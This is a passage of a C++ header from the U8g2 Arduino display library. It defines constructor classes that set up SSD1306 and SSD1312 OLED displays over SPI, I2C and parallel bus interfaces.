U8G2_SSD1306_128X64_ALT0_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X64_ALT0_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X64_ALT0_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_6800 : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_8080 : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_6800 : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_8080 : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_6800 : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_8080 : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1312_128X64_NONAME_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1312_128X64_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1312_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    